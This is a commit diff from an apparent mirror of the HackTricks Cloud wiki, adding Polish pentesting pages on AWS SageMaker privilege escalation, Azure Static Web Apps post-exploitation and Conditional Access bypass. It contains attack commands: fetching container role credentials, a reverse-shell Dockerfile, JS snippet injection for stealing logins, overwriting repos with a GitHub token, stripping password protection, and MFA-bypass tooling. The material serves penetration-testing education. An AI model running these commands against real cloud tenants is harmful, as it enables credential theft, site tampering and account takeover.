mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
BIN
src/images/azure_static_password.png
Normal file
BIN
src/images/azure_static_password.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 14 KiB |
@@ -12,7 +12,7 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
|
||||
--instance-type ml.t2.medium \
|
||||
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
|
||||
```
|
||||
Odpowiedź powinna zawierać pole `NotebookInstanceArn`, które będzie zawierać ARN nowo utworzonego instancji notatnika. Możemy następnie użyć API `create-presigned-notebook-instance-url`, aby wygenerować URL, którego możemy użyć do uzyskania dostępu do instancji notatnika, gdy będzie gotowa:
|
||||
Odpowiedź powinna zawierać pole `NotebookInstanceArn`, które będzie zawierać ARN nowo utworzonej instancji notatnika. Możemy następnie użyć API `create-presigned-notebook-instance-url`, aby wygenerować URL, którego możemy użyć do uzyskania dostępu do instancji notatnika, gdy będzie gotowa:
|
||||
```bash
|
||||
aws sagemaker create-presigned-notebook-instance-url \
|
||||
--notebook-instance-name <name>
|
||||
@@ -21,7 +21,7 @@ Przejdź do adresu URL w przeglądarce i kliknij na \`Open JupyterLab\` w prawym
|
||||
|
||||
Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.
|
||||
|
||||
**Potencjalny wpływ:** Privesc do roli usługi sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do roli usługi sagemaker określonej.
|
||||
|
||||
### `sagemaker:CreatePresignedNotebookInstanceUrl`
|
||||
|
||||
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
|
||||
|
||||
### `sagemaker:CreateProcessingJob,iam:PassRole`
|
||||
|
||||
Napastnik z tymi uprawnieniami może sprawić, że **sagemaker wykona processingjob** z dołączoną rolą sagemaker. Napastnik może wskazać definicję kontenera, który będzie uruchomiony w **instancji konta ECS zarządzanego przez AWS**, i **ukraść poświadczenia dołączonej roli IAM**.
|
||||
Napastnik z tymi uprawnieniami może sprawić, że **sagemaker wykona processingjob** z przypisaną rolą sagemaker. Napastnik może wskazać definicję kontenera, który będzie uruchomiony w **instancji konta ECS zarządzanego przez AWS**, i **ukraść poświadczenia przypisanej roli IAM**.
|
||||
```bash
|
||||
# I uploaded a python docker image to the ECR
|
||||
aws sagemaker create-processing-job \
|
||||
@@ -45,20 +45,20 @@ aws sagemaker create-processing-job \
|
||||
# In my tests it took 10min to receive the shell
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli serwisu sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do roli serwisowej sagemaker.
|
||||
|
||||
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
|
||||
|
||||
Atakujący z tymi uprawnieniami będzie mógł utworzyć zadanie treningowe, **uruchamiając dowolny kontener** z **przypisaną rolą**. W związku z tym atakujący będzie mógł ukraść poświadczenia tej roli.
|
||||
|
||||
> [!WARNING]
|
||||
> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle powłokę rev lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego).
|
||||
> Ten scenariusz jest trudniejszy do wykorzystania niż poprzedni, ponieważ musisz wygenerować obraz Dockera, który wyśle powrotny shell lub poświadczenia bezpośrednio do atakującego (nie możesz wskazać polecenia startowego w konfiguracji zadania treningowego).
|
||||
>
|
||||
> ```bash
|
||||
> # Utwórz obraz dockera
|
||||
> mkdir /tmp/rev
|
||||
> ## Zauważ, że zadanie treningowe będzie wywoływać plik wykonywalny o nazwie "train"
|
||||
> ## Dlatego umieszczam powłokę rev w /bin/train
|
||||
> ## Dlatego umieszczam powrotny shell w /bin/train
|
||||
> ## Ustaw wartości <YOUR-IP-OR-DOMAIN> i <YOUR-PORT>
|
||||
> cat > /tmp/rev/Dockerfile <<EOF
|
||||
> FROM ubuntu
|
||||
@@ -90,12 +90,12 @@ aws sagemaker create-training-job \
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
|
||||
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
|
||||
```
|
||||
**Potencjalny wpływ:** Privesc do roli serwisu sagemaker.
|
||||
**Potencjalny wpływ:** Privesc do roli serwisu sagemaker określonej.
|
||||
|
||||
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
|
||||
|
||||
Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** z **przypisaną rolą**.\
|
||||
&#xNAN;_I nie wykorzystałem, z powodu braku czasu, ale wygląda to podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._
|
||||
Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\
|
||||
_Nie wykorzystałem tego z powodu braku czasu, ale wygląda to podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
||||
@@ -0,0 +1,162 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Możliwe jest załadowanie dowolnego kodu HTML na statycznej stronie internetowej poprzez utworzenie fragmentu. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji internetowej i kradzież wrażliwych informacji, takich jak dane logowania lub klucze mnemoniczne (w portfelach web3).
|
||||
|
||||
Poniższe polecenie tworzy fragment, który zawsze będzie ładowany przez aplikację internetową::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
|
||||
|
||||
Jak wyjaśniono w sekcji App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważyć, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
|
||||
|
||||
Oto kilka przykładów poleceń do sprawdzenia tokenów:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
Możliwe jest **nadpisanie pliku w repozytorium Github** zawierającym aplikację przez Azure, mając **token Github**, wysyłając żądanie takie jak poniższe, które wskaże ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość o commicie.
|
||||
|
||||
Może to być wykorzystywane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwej zawartości (kradzież danych uwierzytelniających, kluczy mnemonicznych...) lub po prostu do **przekierowywania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób skompromitować repozytorium Github, mogą również bezpośrednio nadpisać plik z Github.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zmodyfikowanie hasła** chroniącego statyczną aplikację webową lub nawet usunięcie ochrony z każdego środowiska, wysyłając żądanie takie jak poniższe:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
To uprawnienie pozwala na uzyskanie **tokena klucza API do wdrożenia** dla statycznej aplikacji.
|
||||
|
||||
Ten token umożliwia wdrożenie aplikacji.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Aby zaktualizować aplikację, możesz uruchomić następujące polecenie. Zauważ, że to polecenie zostało wyciągnięte z sprawdzania **jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ponieważ jest to domyślne ustawienie Azure. Obraz i parametry mogą się zmienić w przyszłości.
|
||||
|
||||
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub inne repozytorium, które chcesz wdrożyć) i uruchom `cd react-basic`.
|
||||
2. Zmień kod, który chcesz wdrożyć
|
||||
3. Wdróż go, uruchamiając (pamiętaj, aby zmienić `<api-token>`):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zmienienie źródła statycznej aplikacji webowej na inne repozytorium Github**, jednak nie będzie to automatycznie provisionowane, ponieważ musi to być zrobione z poziomu Github Action, zazwyczaj z tokenem, który autoryzował akcję, ponieważ ten token nie jest automatycznie aktualizowany w sekretnych danych Githb repozytorium (jest po prostu dodawany automatycznie, gdy aplikacja jest tworzona).
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Dzięki temu uprawnieniu możliwe jest **zresetowanie klucza API statycznej aplikacji webowej**, co potencjalnie może spowodować DoS dla procesów automatycznie wdrażających aplikację.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,34 +4,34 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, aby egzekwować kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\
|
||||
Polityki dostępu warunkowego w Azure to zasady ustalone w Microsoft Azure, które wymuszają kontrole dostępu do usług i aplikacji Azure na podstawie określonych **warunków**. Polityki te pomagają organizacjom zabezpieczyć swoje zasoby, stosując odpowiednie kontrole dostępu w odpowiednich okolicznościach.\
|
||||
Polityki dostępu warunkowego zasadniczo **określają** **Kto** może uzyskać dostęp do **Czego** z **Gdzie** i **Jak**.
|
||||
|
||||
Oto kilka przykładów:
|
||||
|
||||
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymaganie uwierzytelnienia wieloskładnikowego (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie.
|
||||
1. **Polityka ryzyka logowania**: Ta polityka może być ustawiona na wymóg wieloskładnikowego uwierzytelniania (MFA) w przypadku wykrycia ryzyka logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu do jego regularnego wzorca, na przykład logowanie z innego kraju, system może poprosić o dodatkowe uwierzytelnienie.
|
||||
2. **Polityka zgodności urządzeń**: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń, które są zgodne z normami bezpieczeństwa organizacji. Na przykład, dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.
|
||||
|
||||
## Obejścia polityk dostępu warunkowego
|
||||
|
||||
Możliwe jest, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka konfigurowała MFA, atakujący będzie mógł ją obejść.
|
||||
Możliwe jest, że polityka dostępu warunkowego **sprawdza pewne informacje, które można łatwo zmanipulować, co pozwala na obejście polityki**. A jeśli na przykład polityka była skonfigurowana do MFA, atakujący będzie mógł ją obejść.
|
||||
|
||||
Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (jak wszystkie aplikacje w chmurze).
|
||||
Podczas konfigurowania polityki dostępu warunkowego należy wskazać **użytkowników** objętych polityką oraz **docelowe zasoby** (takie jak wszystkie aplikacje w chmurze).
|
||||
|
||||
Należy również skonfigurować **warunki**, które **wyzwolą** politykę:
|
||||
Należy również skonfigurować **warunki**, które będą **wyzwalać** politykę:
|
||||
|
||||
- **Sieć**: IP, zakresy IP i lokalizacje geograficzne
|
||||
- Można je obejść, używając VPN lub Proxy, aby połączyć się z krajem lub udać się do logowania z dozwolonego adresu IP
|
||||
- Można to obejść, używając VPN lub Proxy do połączenia z kraju lub udając się do logowania z dozwolonego adresu IP
|
||||
- **Ryzyka Microsoftu**: Ryzyko użytkownika, ryzyko logowania, ryzyko wewnętrzne
|
||||
- **Platformy urządzeń**: Dowolne urządzenie lub wybierz Android, iOS, Windows Phone, Windows, macOS, Linux
|
||||
- Jeśli nie wybrano „Dowolne urządzenie”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
|
||||
- Jeśli nie wybrano „Dowolnego urządzenia”, ale wszystkie inne opcje są zaznaczone, można to obejść, używając losowego user-agenta, który nie jest związany z tymi platformami
|
||||
- **Aplikacje klienckie**: Opcje to „Przeglądarka”, „Aplikacje mobilne i klienci desktopowi”, „Klienci Exchange ActiveSync” i „Inne klienci”
|
||||
- Aby obejść logowanie z nie wybraną opcją
|
||||
- **Filtr dla urządzeń**: Możliwe jest wygenerowanie reguły związanej z używanym urządzeniem
|
||||
- **Przepływy uwierzytelniania**: Opcje to „Przepływ kodu urządzenia” i „Transfer uwierzytelniania”
|
||||
- To nie wpłynie na atakującego, chyba że próbuje nadużyć któregokolwiek z tych protokołów w próbie phishingu, aby uzyskać dostęp do konta ofiary
|
||||
|
||||
Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymaganie MFA, zgodność urządzenia...
|
||||
Możliwe **wyniki** to: Zablokuj lub Przyznaj dostęp z potencjalnymi warunkami, takimi jak wymóg MFA, zgodność urządzenia...
|
||||
|
||||
### Platformy urządzeń - Warunek urządzenia
|
||||
|
||||
@@ -40,11 +40,11 @@ Możliwe jest ustawienie warunku na podstawie **platformy urządzenia** (Android
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wystarczy, że przeglądarka **wyśle nieznany user-agent** (jak `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`), aby nie wywołać tego warunku.\
|
||||
Możesz zmienić user-agenta **ręcznie** w narzędziach dewelopera:
|
||||
Możesz zmienić user-agent **ręcznie** w narzędziach dewelopera:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
Lub użyć [rozszerzenia przeglądarki takiego jak to](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
|
||||
### Lokalizacje: Kraje, zakresy IP - Warunek urządzenia
|
||||
|
||||
@@ -126,7 +126,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem.
|
||||
|
||||
> [!TIP]
|
||||
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force.
|
||||
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do brutalnego wymuszania.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Ponieważ **portal** **Azure** **nie jest ograniczony**, możliwe jest **uzyskanie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas wcześniejszego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
|
||||
Ponieważ **portal** **Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas poprzedniego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
|
||||
```powershell
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# Az - Static Web Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje o statycznych aplikacjach internetowych
|
||||
|
||||
Azure Static Web Apps to usługa chmurowa do hostowania **statycznych aplikacji internetowych z automatycznym CI/CD z repozytoriów takich jak GitHub**. Oferuje globalną dostawę treści, bezserwerowe zaplecza i wbudowane HTTPS, co czyni ją bezpieczną i skalowalną. Jednakże, ryzyka obejmują źle skonfigurowany CORS, niewystarczającą autoryzację i manipulację treścią, co może narażać aplikacje na ataki takie jak XSS i wyciek danych, jeśli nie są odpowiednio zarządzane.
|
||||
|
||||
> [!TIP]
|
||||
> Gdy tworzona jest aplikacja statyczna, można wybrać **politykę autoryzacji wdrożenia** pomiędzy **tokenem wdrożenia** a **workflow GitHub Actions**.
|
||||
|
||||
|
||||
### Autoryzacja aplikacji internetowej
|
||||
|
||||
Możliwe jest **skonfigurowanie hasła** do uzyskania dostępu do aplikacji internetowej. Konsola internetowa pozwala na skonfigurowanie go w celu ochrony tylko środowisk stagingowych lub zarówno stagingowych, jak i produkcyjnych.
|
||||
|
||||
Tak wygląda aplikacja internetowa chroniona hasłem w momencie pisania:
|
||||
|
||||
<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
Możliwe jest sprawdzenie **czy jakiekolwiek hasło jest używane** i które środowiska są chronione za pomocą:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
Jednak to **nie pokaże hasła w postaci czystego tekstu**, tylko coś takiego: `"password": "**********************"`.
|
||||
|
||||
### Trasy
|
||||
|
||||
Trasy definiują **jak obsługiwane są przychodzące żądania HTTP** w ramach statycznej aplikacji webowej. Skonfigurowane w pliku **`staticwebapp.config.json`**, kontrolują przepisywanie URL, przekierowania, ograniczenia dostępu oraz autoryzację opartą na rolach, zapewniając odpowiednie zarządzanie zasobami i bezpieczeństwo.
|
||||
|
||||
Kilka przykładów:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeracja
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Przykłady generowania aplikacji internetowych
|
||||
|
||||
Możesz znaleźć ładny przykład generowania aplikacji internetowej pod następującym linkiem: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. Forkuj repozytorium https://github.com/staticwebdev/react-basic/generate do swojego konta GitHub i nazwij je `my-first-static-web-app`
|
||||
2. W portalu Azure utwórz Static Web App, konfigurując dostęp do GitHub i wybierając wcześniej forkowane nowe repozytorium
|
||||
3. Utwórz je, poczekaj kilka minut i sprawdź swoją nową stronę!
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencje
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user